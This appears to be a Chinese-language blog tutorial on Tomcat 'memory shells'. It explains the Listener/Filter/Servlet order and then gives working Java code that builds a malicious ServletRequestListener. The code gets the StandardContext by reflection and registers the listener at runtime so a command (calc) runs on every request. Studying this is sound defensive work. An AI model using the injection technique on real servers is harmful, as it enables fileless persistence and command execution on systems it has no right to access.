0x00 前言
嗯……怎么不算学习呢。
0x01 导论
Listener、Filter、Servlet、Interceptor
在上文中,我们学习了Filter的内存马。熟悉Java-Web开发的同学,可能除了Filter、Servlet之外,还接触过Listener、Interceptor(存在于Struts2中)。这四者的作用如下:
- Servlet:负责接收请求和发送响应
- Filter:负责对请求和响应进行修改(代码写在chain.doFilter之后就是对响应操作)
- Lisenter:负责对Context、Session、Request、参数等创建、销毁变化的监听,可以添加上对应动作
- Interceptor:Filter的加强版,区别可以自己搜索一下,比如,Filter依赖于Servlet容器,而Interceptor不依赖于Servlet容器。
Listener、Filter、Servlet三者执行顺序
因为Interceptor非原生Java所有,所以我们这里就先不讲了。Listener、Filter、Servlet三者的执行顺序,做过开发的同学就会知道,是:
- Listener
- Filter
- Servlet
但其实我们也可以从StandarContext#startInternal中找到对应的调用顺序:
// Configure and call application event listeners
if (ok) {
if (!listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
}
// Check constraints for uncovered HTTP methods
// Needs to be after SCIs and listeners as they may programmatically
// change constraints
if (ok) {
checkConstraintsForUncoveredMethods(findConstraints());
}
try {//略
}
// Configure and call application filters
if (ok) {
if (!filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
}
// Load and initialize all "load on startup" servlets
if (ok) {
if (!loadOnStartup(findChildren())){
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}
Listener的生命周期
Java中总共有8个Listener,不同的Listener有不同的生命周期,其大致可分为3类如下:
- 生命周期监听器(3个)
- ServeltContextListener:在服务启动和关闭时触发
- HttpSessionListener:getSession()时创建,超时或关闭服务时销毁
- ServletRequestListener:请求时触发
- 属性变化监听器(3个):属性变化时调用
- session中指定属性变化监听器(2个):序列化或修改session时调用
Listener内存马
可以注意到,上文的ServletRequestListener只要发起请求,就可以触发。所以若是我们可以动态的添加一个ServletRequestListener,那是不是就可以利用Listener实现内存马呢?
0x02 Listener调试
创建一个Listener
在自己实现Listener前,我们先要能够正向的创建一个 ServletRequestListener。
public class HackerListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre){
System.out.println("监听器创建");
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("监听器销毁");
}
}
继承ServletRequestListener接口后,重写 requestInitialized、requestDestroyed,接着在web.xml中添加如下的配置:
<listener>
<listener-class>
com.example.virusfilter.HackerListener
</listener-class>
</listener>
之后启动项目,访问任意一个项目即可实现弹窗。
调试分析
在requestInitialized设下断点,重新启动项目,得到对应的调用栈,发现我们的Listener是在StandardContext#fireRequestInitEvent中被调用:
public boolean fireRequestInitEvent(ServletRequest request) {
//这里获取Listeners
Object instances[] = getApplicationEventListeners();
if ((instances != null) && (instances.length > 0)) {
ServletRequestEvent event =
new ServletRequestEvent(getServletContext(), request);
for (Object instance : instances) {
if (instance == null) {
continue;
}
if (!(instance instanceof ServletRequestListener)) {
continue;
}
ServletRequestListener listener = (ServletRequestListener) instance;
try {
//这里被调用
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instance.getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}
}
return true;
}
而追踪一下变量,发现其来源于StandardContext#getApplicationEventListeners(),跟进:
@Override
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray(); #
}
可以看到Listener其实最终来自StandardContext的applicationEventListenersList成员变量。所以我们只要控制了他,其实就能够控制这个变量就可以实现自主添加Listener了。你可以通过反射调用来实现,不过那样就要自己去些构造逻辑。托Java的福,一般有getter,就会有setter之类的东西,所以我们其实可以直接在StandarContext里面找到添加Listener的方法,如下:
public void setApplicationEventListeners(Object listeners[]) {
applicationEventListenersList.clear();
if (listeners != null && listeners.length > 0) {
applicationEventListenersList.addAll(Arrays.asList(listeners));
}
}
/**
* Add a listener to the end of the list of initialized application event
* listeners.
*
* @param listener The listener to add
*/
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}
可以看到,这里有两个方法可以修改applicationEventListenersList成员,并且是直接传入Listener对象即可。
0x03 Listener内存马实现
创建一个恶意Listener
Object listener = new ServletRequestListener() {
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
};
获取StandardContext
这里再提供一个比之前Filter马中更简便的方法:
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
原理就是通过RequestFaced得到Request,然后再用Request调用getContext,其返回的是MappingData类中的StandardContext。
添加恶意Listener
在这里,我并不想直接用大家常用的addApplicationEventListener,而是想先测试一下setApplicationEventListeners能不能实现,会不会对程序造成影响,因此,编写如下的代码:
// 因为setApplicationEventListeners要传入Object[]数组
Object[] listeners = {
new ServletRequestListener() {
//省略
}
}
// 添加恶意Listener
context.setApplicationEventListeners(listeners);
运行后,成功弹出计算器,并且Web还是能够成功运行。当然我们并不能排除之后一些应用不会有问题,这里只是简单测试了其有效性。如果不放心,可以使用常见的addApplicationEventListener:
context.addApplicationEventListener(listeners[0]);